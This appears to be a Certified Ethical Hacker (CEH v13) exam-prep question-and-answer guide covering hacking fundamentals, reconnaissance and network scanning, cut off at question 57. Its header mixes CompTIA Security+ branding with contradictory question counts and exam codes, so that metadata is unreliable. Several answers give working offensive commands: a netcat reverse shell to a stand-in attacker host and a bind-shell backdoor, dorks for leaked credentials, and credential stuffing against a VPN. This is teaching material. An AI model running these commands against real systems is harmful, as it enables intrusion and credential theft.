

EC-COUNCIL CERTIFIED | EXAM CODE: 312-50

CompTIA

CEH

v13

300 Q&A – *Certified Ethical Hacker*

Complete exam preparation covering all SY0-701 exam domains:

Reconnaissance | Scanning | System Hacking | Malware

Web Hacking | Wireless | Social Engineering | SQLi | Evasion

300

Questions

18

Sections

312-50

Exam Code

70%

Pass Score

Table of Contents

CompTIA Security+ SY0-701 – Complete Interview Preparation Guide

#	Section	Key Topics	Q's
1	Ethical Hacking Fundamentals	ethical hacking, CEH methodology, CFAA, bug bounty, threat modeling	22
2	Reconnaissance & Footprinting	OSINT, Google dorks, Shodan, DNS recon, Maltego, theHarvester	22
3	Scanning Networks	Nmap, scanning, Masscan, Hping3, Zenmap, NSE scripts, OS detection	21
4	Enumeration	enumeration, NetBIOS, LDAP, SNMP, SMB, SMTP, DNS zone transfer	18
5	System Hacking	system hacking, Metasploit, Meterpreter, privilege escalation, Mimikatz	20
6	Malware Threats	malware, Trojan, ransomware, botnet, fileless, RAT, msfvenom, worm	18
7	Sniffing & Session Hijacking	sniffing, ARP poisoning, MITM, Wireshark, Ettercap, Responder, SSL	16
8	Social Engineering	social engineering, phishing, vishing, SET, pretexting, baiting	16
9	Web Application Hacking	web hacking, OWASP, XSS, CSRF, LFI, RFI, Burp Suite, IDOR	17
10	Wireless Network Hacking	wireless hacking, WPA2, WPA3, Aircrack-ng, evil twin, WPS, deauth	16
11	Denial of Service & Session Attacks	DoS, DDoS, SYN flood, Slowloris, amplification, session hijacking	15
12	Hacking Web Servers	web servers, Nikto, buffer overflow, directory enumeration, SSRF	14
13	SQL Injection	SQL injection, sqlmap, blind SQLi, UNION, NoSQL, stored procedures	11
14	Evading IDS, Firewalls & Honeypots	IDS evasion, firewall bypass, honeypot, Snort, tunneling, fragmentation	12
15	Cloud, IoT & Mobile Hacking	cloud hacking, IoT, mobile, OT/SCADA, containers, API, AI hacking	15
16	Cryptography for CEH	cryptography, PKI, hashing, steganography, rainbow tables, AES, RSA	12
17	CEH v13 Practical & Exam Focus	CEH exam, Kali tools, Hashcat, Hydra, ExploitDB, pivoting, Metasploit	16
18	Vulnerability Analysis & Pen Testing	vulnerability assessment, Nessus, pen testing, CVSS, PTES, reporting	19

200	16	003	~70%
Total Questions	Sections	Exam Code	Passing Score

1 Ethical Hacking Fundamentals

22 Qs

Q1 QUESTION

What is ethical hacking?

ANSWER

Ethical hacking is the authorized practice of bypassing system security to identify vulnerabilities before malicious attackers can exploit them. Example: A company hires a certified ethical hacker to probe their banking application — the hacker uses the same tools and techniques as a criminal but has written permission and a defined scope, reports all findings, and helps remediate issues.

Q2 QUESTION

What are the five phases of ethical hacking?

ANSWER

The five phases: (1) Reconnaissance — gather information about the target (passive: OSINT, active: scanning); (2) Scanning — identify open ports, services, and vulnerabilities (Nmap, Nessus); (3) Gaining Access — exploit vulnerabilities to penetrate the system (Metasploit); (4) Maintaining Access — establish persistence (backdoors, rootkits); (5) Clearing Tracks — remove evidence of the attack (log deletion, timestamp modification). Example: A pen tester recon LinkedIn for employee emails, scans the web server, exploits a SQLi, adds a backdoor, then clears Apache access logs.

Q3 QUESTION

What is the difference between a black box, white box, and grey box test?

ANSWER

Black box: tester has zero prior knowledge of the target — simulates an external attacker. Example: Given only the company name, find and exploit vulnerabilities. White box: tester has full knowledge — network diagrams, source code, credentials — simulates an insider threat. Grey box: partial knowledge — tester has some credentials or documentation — most common in real engagements, balancing realism with efficiency.

Q4 QUESTION

What are the types of hackers?

ANSWER

Black hat: malicious, unauthorized attackers. White hat: ethical hackers with authorization. Grey hat: operate between — may hack without permission but report findings (not always ethical or legal). Script kiddie: low-skill, uses existing tools without understanding. Hacktivist: politically or ideologically motivated (Anonymous). State-sponsored: nation-state-backed attackers (APT28, Lazarus). Insider threat: malicious or negligent internal employee. Example: A grey hat discovers a public website vulnerability and emails the admin — unauthorized but with good intent.

Q5 QUESTION

What is the CEH hacking methodology?

ANSWER

CEH methodology follows a structured attack lifecycle: Footprinting and Reconnaissance □ Scanning Networks □ Enumeration □ Vulnerability Analysis □ System Hacking □ Malware Threats □ Sniffing □ Social Engineering □ Denial-of-Service □ Session Hijacking □ Evading IDS/Firewalls □ Hacking Web Servers □ Hacking Web Applications □ SQL Injection □ Hacking Wireless Networks □ Hacking Mobile Platforms □ IoT and OT Hacking □ Cloud Computing □ Cryptography. Each phase builds on the previous.

Q6 QUESTION

What is footprinting?

ANSWER

Footprinting (reconnaissance) collects information about a target before attacking. Passive footprinting uses public sources without touching the target: WHOIS, DNS records, Google dorking, LinkedIn, job postings, Shodan, Netcraft. Active footprinting interacts with the target: DNS zone transfer, traceroute, ping sweeps. Example: Passive — searching 'site:company.com filetype:pdf' reveals internal documents. Active — performing a DNS zone transfer reveals all subdomains and internal IP addresses.

Q7 QUESTION

What is open source intelligence (OSINT)?

ANSWER

OSINT collects intelligence from publicly available sources. Sources: search engines (Google dorks), social media (LinkedIn, Twitter), WHOIS databases, DNS records, job postings (reveal technology stack), Shodan (internet-exposed devices), certificate transparency logs, Pastebin leaks, dark web forums. Example: Maltego maps relationships between a domain, its IP addresses, email addresses, and associated individuals — all from public sources — building a comprehensive picture of the target organization.

Q8 QUESTION

What is the difference between vulnerability assessment and penetration testing?

ANSWER

Vulnerability assessment: automated scanning to identify known vulnerabilities — no exploitation, reports what could be attacked. Example: Nessus scan finds CVE-2021-44228 (Log4Shell) on 15 servers. Penetration testing: actively exploits vulnerabilities to determine real-world impact — answers 'how far can an attacker get?' Example: Pen tester exploits Log4Shell, achieves RCE, escalates to domain admin, and demonstrates access to the payroll database — proving business impact.

Q9 QUESTION

What are the legal documents required before a pen test?

ANSWER

Required legal documents: (1) Rules of Engagement (RoE) — defines scope, permitted techniques, timeline, excluded systems; (2) Non-Disclosure Agreement (NDA) — protects confidential information discovered; (3) Statement of Work (SoW) — defines deliverables and timeline; (4) Permission to Test letter / Written Authorization — explicit written permission from the asset owner; (5) Liability waiver — protects tester from legal action if systems are disrupted. Without written authorization, any hacking activity is illegal regardless of intent.

Q10 QUESTION

What is threat modeling in ethical hacking context?

ANSWER

Threat modeling identifies what assets to protect, potential threats, and attack vectors before testing. STRIDE: Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege. PASTA (Process for Attack Simulation and Threat Analysis): business objective aligned. Example: Before testing a bank's mobile app, threat model identifies: attacker profile (organized crime), assets (customer credentials, transaction data), attack vectors (API manipulation, MITM, client-side attacks) — guides test scope and focus areas.

Q11 QUESTION

What is the EC-Council CEH v13 exam format?

ANSWER

CEH v13 (312-50) exam: 125 multiple choice questions, 4-hour time limit, passing score 70%, computer-based via ECC Exam Portal or Pearson VUE. CEH Practical: 6-hour performance-based exam on iLabs platform, real hacking challenges. CEH Master: pass both written + practical. v13 additions: AI-powered hacking techniques, attack surface management, generative AI threats. Experience requirement: 2 years security experience OR attend official training.

Q12 QUESTION

What is attack surface in ethical hacking?

ANSWER

Attack surface is the total set of points where an attacker can try to enter or extract data. Categories: network attack surface (open ports, protocols), software attack surface (web apps, APIs, client apps), human attack surface (social engineering targets), physical attack surface (unprotected hardware, USB ports). Attack surface reduction: close unnecessary ports, remove unused software, enforce least privilege, apply patches. Example: A company's attack surface mapped with Amass and Shodan reveals 3 forgotten development servers with public RDP — immediate remediation priority.

Q13 QUESTION

What are CEH v13 new topics?

ANSWER

CEH v13 new additions: (1) AI-powered hacking — using ChatGPT/LLMs for reconnaissance, phishing generation, code analysis; (2) AI-assisted attack automation — automated vulnerability discovery using ML; (3) Attack surface management (ASM) — continuous external attack surface monitoring; (4) Generative AI threats — deepfakes, AI-generated phishing, synthetic identity; (5) Updated cloud hacking module — serverless, containers, Kubernetes attacks; (6) Updated IoT hacking — OT/SCADA attacks, firmware analysis; (7) API hacking expanded — OWASP API Top 10 coverage.

Q14 QUESTION

What is the difference between IDS evasion and firewall evasion?

ANSWER

IDS evasion tricks the intrusion detection system into missing the attack. Techniques: fragmentation (split attack across multiple packets), encoding (base64, URL encoding), polymorphic shellcode (change signature each time), slow scan (avoid threshold-based detection), session splicing. Firewall evasion bypasses packet filtering. Techniques: firewall tunneling (TCP/UDP tunneling through allowed ports), IP spoofing, source routing, ICMP tunneling, covert channels. Example: Nmap fragmentation scan (-f flag) splits packets — IDS signatures looking for complete packets miss the scan.

Q15 QUESTION

What is responsible disclosure?

ANSWER

Responsible disclosure (coordinated disclosure) notifies vendors of vulnerabilities before public disclosure. Process: (1) Researcher finds vulnerability; (2) Notifies vendor privately with technical details; (3) Agrees on disclosure timeline (typically 90 days — Google Project Zero standard); (4) Vendor patches; (5) Researcher publishes after patch. Bug bounty programs (HackerOne, Bugcrowd) formalize this. Example: Researcher finds RCE in Apache Struts — reports to Apache security team with PoC — patch released in 14 days — researcher publishes full write-up after patch deployment.

Q16 QUESTION

What is penetration testing vs ethical hacking?

ANSWER

Penetration testing is a specific, time-bound authorized engagement to test specific systems. Ethical hacking is broader — encompasses all security testing practices by authorized professionals. Pen test: defined scope (test these 5 servers), defined timeline (2 weeks), specific deliverable (report). Ethical hacking: may include ongoing vulnerability assessment, security reviews, code review, social engineering tests. CEH certifies the ethical hacker role — knowledge of all attack techniques and their countermeasures. Example: Company engages for annual pen test (defined scope) AND maintains an ethical hacker on staff for continuous security assessment (broader ethical hacking role).

Q17 QUESTION

What is bug bounty hunting?

ANSWER

Bug bounty programs invite security researchers to find and report vulnerabilities for monetary rewards. Platforms: HackerOne, Bugcrowd, Intigriti, Synack. Scope: specified in program policy (in-scope domains, allowed test types, out-of-scope systems). Severity-based rewards: critical (\$10K-\$100K+), high (\$1K-\$10K), medium (\$500-\$1K), low (\$100-\$500). Top targets: Google, Microsoft, Facebook, Apple. CEH context: understand that bug bounty hunting is legal authorized testing — always check scope before testing. Example: Google's bug bounty paid \$8.7 million to 696 researchers in 2022 — finding RCE in Gmail could yield \$31,337 (31337 = 'elite' in hacker speak).

Q18 QUESTION

What is threat intelligence in ethical hacking?

ANSWER

Threat intelligence provides context about adversary capabilities, intentions, and TTPs to inform security decisions. Sources: VirusTotal (file/URL reputation), AlienVault OTX (open threat intelligence), Shodan (attack surface), ExploitDB (public exploits), CVE/NVD (vulnerability database), Recorded Future/Mandiant (commercial). CEH context: before testing, research known vulnerabilities in target technologies using threat intelligence. Example: Target uses Apache Struts — search NVD for Apache Struts CVEs — find CVE-2017-5638 (OGNL injection used in Equifax breach) — verify if target is patched — include in testing scope.

Q19 QUESTION

What is attack simulation vs red teaming?

ANSWER

Attack simulation: test specific attack scenarios (phishing campaign, USB drop, specific vulnerability exploitation). Red team: full adversary simulation — comprehensive multi-phase attack mimicking a real threat actor. Blue team: defenders attempting to detect and respond. Purple team: collaborative red + blue for detection improvement. CEH focuses on red team techniques across all attack domains. Example: Red team engagement — 3 months, full attack chain from phishing email → credential theft → lateral movement → access to financial system — tests entire security program vs. pen test testing specific technical controls.

Q20 QUESTION

What is social engineering in the legal context?

ANSWER

Social engineering is legal only with explicit written authorization. Legal SE tests: phishing simulations (email), vishing (phone), physical (tailgating) — all require authorization. Without authorization: phishing = fraud/computer fraud charges, vishing = fraud/impersonation, physical = trespassing/breaking and entering. Legal framework: Computer Fraud and Abuse Act (CFAA) in US, Computer Misuse Act in UK. Authorization must explicitly cover: what types of SE are permitted, who can be targeted, what information can be used. Example: Pen test authorization letter must state 'physical social engineering including impersonation of delivery personnel is explicitly authorized at [facility address] during [date range].'

Q21 QUESTION

What is scope definition in pen testing?

ANSWER

Scope definition prevents legal issues and focuses testing. Components: IP ranges explicitly listed, domains in scope, explicitly out-of-scope systems, test types permitted (no DoS unless stated), time window, emergency contact. Example engagement: External web applications only (*.targetco.com), no DoS attacks, no phishing, no physical testing, between 9AM-5PM EST on weekdays, contact john@targetco.com immediately if any production systems become unavailable. Without clear scope: pen tester tests partner company site unknowingly □ legal liability. CEH exam: authorization document must be signed before any testing begins.

Q22 QUESTION

What are hacking laws and regulations for CEH?

ANSWER

Key cybersecurity laws tested in CEH: Computer Fraud and Abuse Act (CFAA, US 1986) — unauthorized computer access is federal crime; Electronic Communications Privacy Act (ECPA, US) — governs electronic surveillance; Digital Millennium Copyright Act (DMCA, US) — copyright protection; Computer Misuse Act (UK 1990) — unauthorized access offense; GDPR (EU 2018) — data privacy regulation; IT Act 2000 (India) — cybercrime legislation. CEH ethical requirement: always have written authorization before testing. Penalty without authorization: CFAA violations carry 1-20 years imprisonment. Bug bounty programs provide legal safe harbor within defined scope. Example: Security researcher testing a website without permission — even for good intent — violates CFAA and Computer Misuse Act.

2 Reconnaissance & Footprinting

22 Qs

Q23 QUESTION

What is passive reconnaissance and its key techniques?

ANSWER

Passive reconnaissance gathers information without directly interacting with the target. Techniques: WHOIS lookup (domain registration info), DNS interrogation (nslookup, dig), Google dorking (advanced search operators), Shodan (internet-exposed devices and services), LinkedIn (employee names, roles, technology stack), job postings (reveal tech stack), Netcraft (web server info, hosting history), Wayback Machine (historical website content), certificate transparency (crt.sh for subdomains). Example: 'site:targetco.com filetype:xls' finds Excel spreadsheets accidentally published on the website.

Q24 QUESTION

What are Google dorks and give key examples?

ANSWER

Google dorks use advanced search operators to find sensitive information indexed by Google. Key examples: site:target.com — limit to domain; filetype:pdf — specific file type; intitle:'index of' — directory listings; inurl:admin — admin pages; 'DB_PASSWORD' site:github.com — exposed credentials; 'confidential' filetype:doc site:target.com — confidential documents; inurl:'.php?id=' — potential SQLi targets; 'powered by' intitle:'phpMyAdmin' — exposed databases. Example: 'inurl:wp-config.php.bak site:target.com' finds backup WordPress config files with database credentials.

Q25 QUESTION

What is DNS reconnaissance?

ANSWER

DNS reconnaissance extracts information from DNS records. Record types: A (IP address), MX (mail server), NS (name server), TXT (SPF, DKIM, verification), CNAME (alias), PTR (reverse lookup), SOA (zone authority). Tools: nslookup, dig, host, dnsrecon. Zone transfer (AXFR): if misconfigured, dumps all DNS records. Example: 'dig axfr @ns1.target.com target.com' — reveals all subdomains, internal IPs, and mail server configuration if zone transfer is allowed. Modern defense: restrict zone transfers to authorized secondary DNS servers only.

Q26 QUESTION

What is Shodan and how is it used in reconnaissance?

ANSWER

Shodan is a search engine for internet-connected devices. Searches for: web servers, industrial control systems, routers, cameras, database servers, IoT devices. Filters: port:22 (SSH), org:'Company Name', country:IN, hostname:target.com, product:'Apache httpd'. Example: Searching 'hostname:targetco.com port:3306' reveals exposed MySQL servers. 'org:"Target Corporation" port:9200' finds exposed Elasticsearch instances. Shodan also tracks SSL certificates, banners, and vulnerability data (showing CVEs affecting discovered devices).

Q27 QUESTION

What is email harvesting?

ANSWER

Email harvesting collects email addresses for phishing, password spraying, or OSINT. Tools: theHarvester (searches Google, Bing, LinkedIn, Shodan for emails), Hunter.io (finds company email patterns — 'firstname.lastname@company.com'), Maltego, LinkedIn OSINT. Example: theHarvester -d targetco.com -b google returns: jsmith@targetco.com, ceo@targetco.com, hr@targetco.com — these become phishing targets or are checked against HaveIBeenPwned for breached passwords.

Q28 QUESTION

What is Maltego and how is it used?

ANSWER

Maltego is an OSINT and link analysis tool that visualizes relationships between entities. Entities: person, company, domain, IP, phone number, email. Transforms: automated queries that find related entities (email → person → employer → related domains → IP addresses). Example: Starting with 'targetco.com' — Maltego discovers: 3 IP blocks, 47 subdomains, 12 employee LinkedIn profiles with emails, associated social media, historical domain registrations, netblock owner — all displayed as a visual relationship graph for attack planning.

Q29 QUESTION

What is Recon-ng?

ANSWER

Recon-ng is a full-featured web reconnaissance framework in Python. Module-based like Metasploit. Modules: recon/domains-hosts/brute_hosts (subdomain brute forcing), recon/domains-contacts/whois_pocs (WHOIS contact extraction), recon/hosts-hosts/shodan_hostname (Shodan lookup), reporting/html (generate HTML report). Workspace-based: each target gets its own workspace with database. Example: set target 'targetco.com' → run domain-to-hosts modules → run hosts-to-ports modules → run contacts modules → generate full reconnaissance report in HTML format.

Q30 QUESTION

What is subdomain enumeration?

ANSWER

Subdomain enumeration discovers subdomains to expand the attack surface. Methods: (1) Brute force — try common names (admin, mail, vpn, dev, staging) using wordlists; (2) DNS zone transfer — dump all records if misconfigured; (3) Certificate transparency logs — crt.sh shows all issued certificates; (4) Search engines — 'site:targetco.com -www'; (5) OSINT tools — Sublist3r, Amass, subfinder. Example: Amass enum -d targetco.com discovers: dev.targetco.com (exposed development server), vpn.targetco.com (VPN endpoint), mail.targetco.com, admin-panel.targetco.com — each is a potential attack vector.

Q31 QUESTION

What is traceroute and how is it used in footprinting?

ANSWER

Traceroute maps the path packets take from source to destination, revealing network topology and intermediate devices. Tools: traceroute (Linux), tracert (Windows), MTR (My TraceRoute — combines ping and traceroute). Information revealed: ISP hops, firewall/router IPs, geographic routing, internal network IPs (sometimes). CEH technique: traceroute path shows where packets enter the target network — the last hop before packets disappear is often the external firewall. Example: 'traceroute targetco.com' reveals the ISP, geographic routing through multiple countries, and the edge firewall IP address.

Q32 QUESTION

What is social media footprinting?

ANSWER

Social media footprinting extracts intelligence from LinkedIn, Twitter/X, Facebook, Instagram, GitHub. LinkedIn: employee names, roles, skills, technologies used, company size. Twitter: real-time company news, employee sentiment, technology announcements. GitHub: source code, API keys, internal hostnames, developer usernames. Example: GitHub search 'org:targetco password' finds accidentally committed credentials. LinkedIn search finds 'DevOps Engineer at TargetCo using Kubernetes, Terraform, AWS' — reveals the tech stack without scanning the environment.

Q33 QUESTION

What is competitive intelligence gathering?

ANSWER

Competitive intelligence collects business information legally from public sources. Sources: SEC filings (EDGAR), annual reports, job postings, press releases, court filings, patent filings, trade publications. CEH context: job postings reveal technology stack ('We use Splunk, CrowdStrike, and Palo Alto firewalls' — tells attacker what security tools to evade). Example: A company's job posting for 'SAP Basis Administrator with experience in SAP S/4HANA' reveals they run SAP — attacker researches SAP vulnerabilities applicable to S/4HANA.

Q34 QUESTION

What is WHOIS and what information does it reveal?

ANSWER

WHOIS is a query protocol that returns information about domain name registrations. Information: registrant name, organization, email, phone, address, registrar, registration date, expiration date, name servers. Privacy protection: GDPR and WHOIS privacy services hide personal data, showing registrar contact instead. Historical WHOIS: DomainTools tracks historical WHOIS data — reveals past ownership, email addresses used. Example: WHOIS lookup reveals registrant email `ceo@targetco.com` — used for spear phishing or checked against breach databases for compromised passwords.

Q35 QUESTION

What is banner grabbing in reconnaissance?

ANSWER

Banner grabbing retrieves service banners to identify software and version information. Methods: Telnet (`telnet target.com 80` or `GET / HTTP/1.0`), Netcat (`nc target.com 80` or `HTTP` request), Nmap (`nmap -sV -p 80 target.com`). Information revealed: web server type/version (Apache 2.4.49), OS, running services. Passive banner grabbing: using Shodan, Netcraft. Example: Connecting to port 21 reveals 'vsFTPD 3.0.3' — searching ExploitDB shows known vulnerabilities for this exact version.

Q36 QUESTION

What is the Wayback Machine and its use in recon?

ANSWER

The Wayback Machine (web.archive.org) archives historical snapshots of websites. Recon uses: (1) Find old pages with exposed directories, config files, or contact info removed from current site; (2) Old robots.txt may reveal hidden directories; (3) Historical subdomains and URL structures; (4) Old employee names and contact info. Example: Target removed their employee directory in 2020 — Wayback Machine shows a 2019 snapshot with all employee names, emails, and direct phone numbers — used for spear phishing and vishing campaigns.

Q37 QUESTION

What is attack surface mapping?

ANSWER

Attack surface mapping discovers all external entry points of an organization. Steps: (1) Domain discovery — Amass, subfinder; (2) IP range discovery — ASN lookup, BGP data; (3) Port scanning — Masscan for speed, Nmap for detail; (4) Service identification — version fingerprinting; (5) Certificate scanning — identify all TLS-enabled services; (6) Cloud assets — cloud provider IP ranges for org's assets. Tools: Amass, Shodan, Censys, FOFA. Output: comprehensive external attack surface inventory. Example: ASM reveals the company has 450 internet-facing assets — they believed they had 50.

Q38 QUESTION

What is WHOIS and domain registration analysis?

ANSWER

WHOIS provides domain ownership information. Data: registrant name/org/email/phone/address, registration date, expiration date, last updated, name servers, registrar. Privacy protection: GDPR-compliant registrars may hide personal data. Tools: whois command, DomainTools (historical WHOIS), ViewDNS.info. CEH use: identify organization's email patterns, contact names for phishing targets, technical contact for social engineering. Historical WHOIS: DomainTools tracks changes — old registrant email revealed before privacy was added. Example: WHOIS on targetco.com reveals: 'admin@targetco.com' registered the domain in 2005 — this email used in early registration before privacy protection was added — still valid admin email.

Q39 QUESTION

What is Shodan for advanced reconnaissance?

ANSWER

Shodan indexes internet-connected devices' banners and metadata. Advanced searches: org:'Company Name' (filter by organization), ssl.cert.subject.CN:*.targetco.com (find all TLS certificates), http.title:'Dashboard' org:'Company' (find dashboards), port:27017 (MongoDB without auth), 'default password' country:US. Shodan Exploits: search for devices affected by specific CVEs. Censys (alternative to Shodan): better certificate analysis, more comprehensive. Example: Shodan search 'hostname:targetco.com vuln:CVE-2021-44228' — shows if any of target's exposed servers are still vulnerable to Log4Shell — attacker knows exactly which systems to target.

Q40 QUESTION

What is passive DNS analysis?

ANSWER

Passive DNS collects historical DNS resolution data. Use: discover subdomains that no longer exist in active DNS, track domain ownership changes, find C2 infrastructure by looking for other domains resolving to same IP, link malware infrastructure. Tools: PassiveTotal (RiskIQ), Farsight DNSDB, VirusTotal (passive DNS tab), SecurityTrails. Example: Historical passive DNS reveals 'vpn-old.targetco.com' resolved to 198.x.x.x two years ago — current Shodan shows port 443 still open on that IP with old VPN software — forgotten infrastructure still vulnerable.

Q41 QUESTION

What is certificate transparency for reconnaissance?

ANSWER

Certificate Transparency (CT) logs record all publicly-trusted TLS certificates. CEH reconnaissance use: discover all subdomains that have ever had TLS certificates issued. Tools: crt.sh (search CT logs — free), Facebook Certificate Transparency Monitor, Certspotter, Censys. Example: crt.sh search for '%targetco.com' reveals: admin.targetco.com (internal admin panel), staging.targetco.com (staging environment with debug mode), api-v2.targetco.com (API endpoint not in DNS anymore but server still responds) — targets not discoverable by DNS brute force alone.

Q42 QUESTION

What is dark web reconnaissance?

ANSWER

Dark web reconnaissance finds compromised credentials, internal documents, and threat intelligence related to the target. Sources: data breach repositories (dehashed.com, haveibeenpwned), paste sites (Pastebin — data leaks), dark web forums (hacker marketplaces), Telegram channels (leaked data). Tools: OnionScan (scan .onion sites), Ahmia (Tor search engine). CEH context: check if target's credentials appear in breaches — use HaveIBeenPwned API or paid services like Dehashed. Example: Searching Dehashed for '@targetco.com' reveals 150 employee email/password combinations from a third-party data breach — these can be tested against corporate VPN using credential stuffing.

Q43 QUESTION

What is theHarvester tool?

ANSWER

theHarvester collects emails, subdomains, and hosts from public sources. Sources: Google, Bing, LinkedIn, Twitter, Shodan, Netcraft, VirusTotal, Hunter.io. Command: 'theHarvester -d targetco.com -b google,linkedin,shodan -l 500'. Output: email addresses, hostnames, IP addresses, LinkedIn profiles. Example: returns jsmith@targetco.com, admin@targetco.com (phishing targets), mail.targetco.com, vpn.targetco.com, dev.targetco.com (attack surface). CEH exam: theHarvester is the standard tool for email harvesting and subdomain discovery in reconnaissance phase.

Q44 QUESTION

What is Recon-ng framework?

ANSWER

Recon-ng is a reconnaissance framework similar to Metasploit but for OSINT. Workspace-based: each target gets own database. Module categories: recon (gather data), reporting (generate output), import/export (data exchange). Key modules: recon/domains-hosts/brute_hosts (subdomain brute force), recon/domains-contacts/whois_pocs (WHOIS contacts), recon/hosts-hosts/shodan_hostname (Shodan lookup), recon/profiles-profiles/linkedin_crawl (LinkedIn profiles). Commands: 'workspaces create targetco' □ 'db insert domains' □ 'modules load recon/domains-hosts/brute_hosts' □ 'run' □ 'show hosts' □ 'modules load reporting/html' □ 'run'. Output: professional HTML report with all discovered data.

3 Scanning Networks

21 Qs

Q45 QUESTION

What is Nmap and what are its key scan types?

ANSWER

Nmap (Network Mapper) is the most widely used network discovery and security auditing tool. Key scan types: -sS (TCP SYN/stealth scan — half-open, doesn't complete handshake), -sT (TCP connect — full handshake, more detectable), -sU (UDP scan — slower), -sN (TCP NULL scan — no flags set), -sF (FIN scan), -sX (Xmas scan — FIN+PSH+URG flags), -sA (ACK scan — firewall rule detection), -sV (version detection), -O (OS detection), -A (aggressive — OS, version, scripts, traceroute). Example: 'nmap -sS -sV -O -p- 192.168.1.1' performs a stealth SYN scan on all 65535 ports with version and OS detection.

Q46 QUESTION

What is the difference between TCP SYN and TCP connect scans?

ANSWER

TCP SYN scan (-sS): sends SYN packet — if SYN/ACK received = port open, RST = closed. Never completes the 3-way handshake — often not logged by target application (only firewall may see it). Requires root/admin privileges. TCP connect scan (-sT): completes full TCP 3-way handshake (SYN → SYN/ACK → ACK) — logged by the application. No special privileges needed. Example: SYN scan is like calling a phone and hanging up when they answer — TCP connect is like actually having the conversation — SYN scan leaves less evidence but both are detectable by IDS.

Q47 QUESTION

What is Nmap scripting engine (NSE)?

ANSWER

NSE (Nmap Scripting Engine) extends Nmap with scripts written in Lua for advanced tasks. Categories: auth (authentication testing), broadcast (network discovery), brute (brute force), default (run with -sC), discovery, exploit, external, fuzzer, intrusive, malware, safe, version, vuln. Example: 'nmap --script=http-sql-injection 192.168.1.1' tests for SQL injection in web apps. 'nmap --script=smb-vuln-ms17-010' tests for EternalBlue. 'nmap -sV --script=default,safe -p 80,443 192.168.1.1' performs a comprehensive scan with safe default scripts.

Q48 QUESTION

What is OS fingerprinting?

ANSWER

OS fingerprinting identifies the operating system of a remote host. Active: Nmap -O sends crafted packets and analyzes TCP/IP stack behavior (TTL values, TCP window size, IP ID, TCP options). Passive: p0f analyzes traffic without sending packets — identifies OS from observed packets. Example: Windows typically has TTL=128, Linux TTL=64. Nmap -O reveals 'Running: Linux 4.15-5.4' — pen tester knows to check Linux-specific vulnerabilities and escalation paths. Nmap accuracy depends on open and closed ports being accessible.

Q49 QUESTION

What is a port scanner and what are common port states?

ANSWER

Port scanners determine which ports are open on a target host. Port states in Nmap: Open (service actively accepting connections), Closed (port accessible but no service), Filtered (firewall blocking, Nmap can't determine state), Unfiltered (accessible but open/closed undetermined — ACK scan), Open|Filtered (can't determine if open or filtered), Closed|Filtered. Key ports: 21(FTP), 22(SSH), 23(Telnet), 25(SMTP), 53(DNS), 80(HTTP), 110(POP3), 143(IMAP), 443(HTTPS), 445(SMB), 3306(MySQL), 3389(RDP), 8080(HTTP-alt).

Q50 QUESTION

What is Masscan and when to use it?

ANSWER

Masscan is the fastest internet-scale port scanner — can scan the entire IPv4 internet in under 6 minutes at 25 million packets/second. Use case: scanning large IP ranges where Nmap would be too slow. Example: 'masscan 10.0.0.0/8 -p 80,443,8080,8443 --rate=1000000' scans a class-A network for web services quickly. CEH context: After identifying the organization's IP ranges via ASN lookup, use Masscan to quickly identify all live hosts and open web ports before detailed Nmap scanning. Masscan is noisier than Nmap — easily detected by IDS.

Q51 QUESTION

What are ping sweep techniques?

ANSWER

Ping sweeps identify live hosts on a network. Nmap -sn 192.168.1.0/24 (no port scan, just host discovery). Methods: ICMP echo request (may be blocked by firewalls), TCP SYN ping (-PS — SYN to port 80), TCP ACK ping (-PA), UDP ping (-PU), ARP ping (for local network — most reliable). Tools: Nmap, Angry IP Scanner, fping. Example: 'nmap -sn -PE -PP -PS21,22,23,25,80,443 192.168.1.0/24' uses multiple discovery methods to find live hosts even when ICMP is blocked by firewalls.

Q52 QUESTION

What is vulnerability scanning?

ANSWER

Vulnerability scanning uses automated tools to identify known security weaknesses. Tools: Nessus (industry standard, 200K+ plugins), Qualys (cloud-based), OpenVAS (open source), Nexpose (Rapid7). Scan types: unauthenticated (external view, misses OS-level vulns), authenticated (provides local access, much more thorough). CVSS scoring: 0-10 severity. Example: Authenticated Nessus scan finds CVE-2017-0144 (EternalBlue) on a Windows 2008 server — CVSS 9.3 critical — SMB vulnerability exploitable remotely. Nessus provides remediation recommendations (patch KB4012212).

Q53 QUESTION

What is network mapping?

ANSWER

Network mapping creates a diagram of the network topology. Tools: Nmap with output formats (-oX for XML import to Zenmap), Zenmap (Nmap GUI with topology map), Netdisco (network inventory), SolarWinds Network Topology Mapper. Techniques: SNMP enumeration (OID walking reveals device info), LLDP/CDP sniffing (Cisco Discovery Protocol reveals adjacent devices), traceroute to map routing. Example: After gaining initial access, running 'nmap -sn 10.0.0.0/16' discovers the internal network layout — identifies database servers (10.0.10.x subnet) and domain controllers (10.0.1.x) for targeted lateral movement.

Q54 QUESTION

What is the difference between active and passive scanning?

ANSWER

Active scanning: directly interacts with target systems — sends probes and analyzes responses. Detectable by IDS/IPS. Examples: Nmap port scans, Nessus vulnerability scans, banner grabbing. Passive scanning: monitors network traffic without sending probes — completely silent. Examples: Wireshark traffic capture, p0f (passive OS fingerprinting), network TAP monitoring. Example: Passive scanning on a network segment reveals hosts, OS types, services, and even usernames from Kerberos or NTLM traffic — zero detection risk since no packets are sent to targets.

Q55 QUESTION

What is network enumeration?

ANSWER

Enumeration actively queries services to extract detailed information (usernames, shares, services, configurations). Tools: enum4linux (SMB/NetBIOS), nbtstat (NetBIOS), SNMP walk (snmpwalk), LDAP enumeration. NetBIOS enumeration: nbtstat -A target reveals hostname, workgroup, MAC address. SMB enumeration: enum4linux -a target reveals shares, users, groups, password policy. SNMP: snmpwalk -v2c -c public target .1 dumps the MIB tree. Example: 'enum4linux -a 192.168.1.10' reveals: username list (administrator, jsmith, ceo), share names (ADMIN\$, IPC\$, Confidential), OS version, and password policy (min 8 chars, no complexity).

Q56 QUESTION

What is Netcat and its uses?

ANSWER

Netcat (nc) is the 'Swiss Army knife' of networking — reads and writes data across TCP/UDP connections. Uses: banner grabbing (nc target.com 80 □ HTTP request), port scanning (nc -z -v target.com 1-1024), file transfer (nc -l -p 4444 > received.txt), reverse shell (target: nc attacker.com 4444 -e /bin/bash), bind shell (nc -l -p 4444 -e /bin/bash). Example: Penetration tester drops Netcat on a compromised server: 'nc -l -p 4444 -e /bin/bash' — creates a persistent backdoor that executes any command sent to port 4444.

Q57 QUESTION

What is a stealth scan and why is it used?

ANSWER

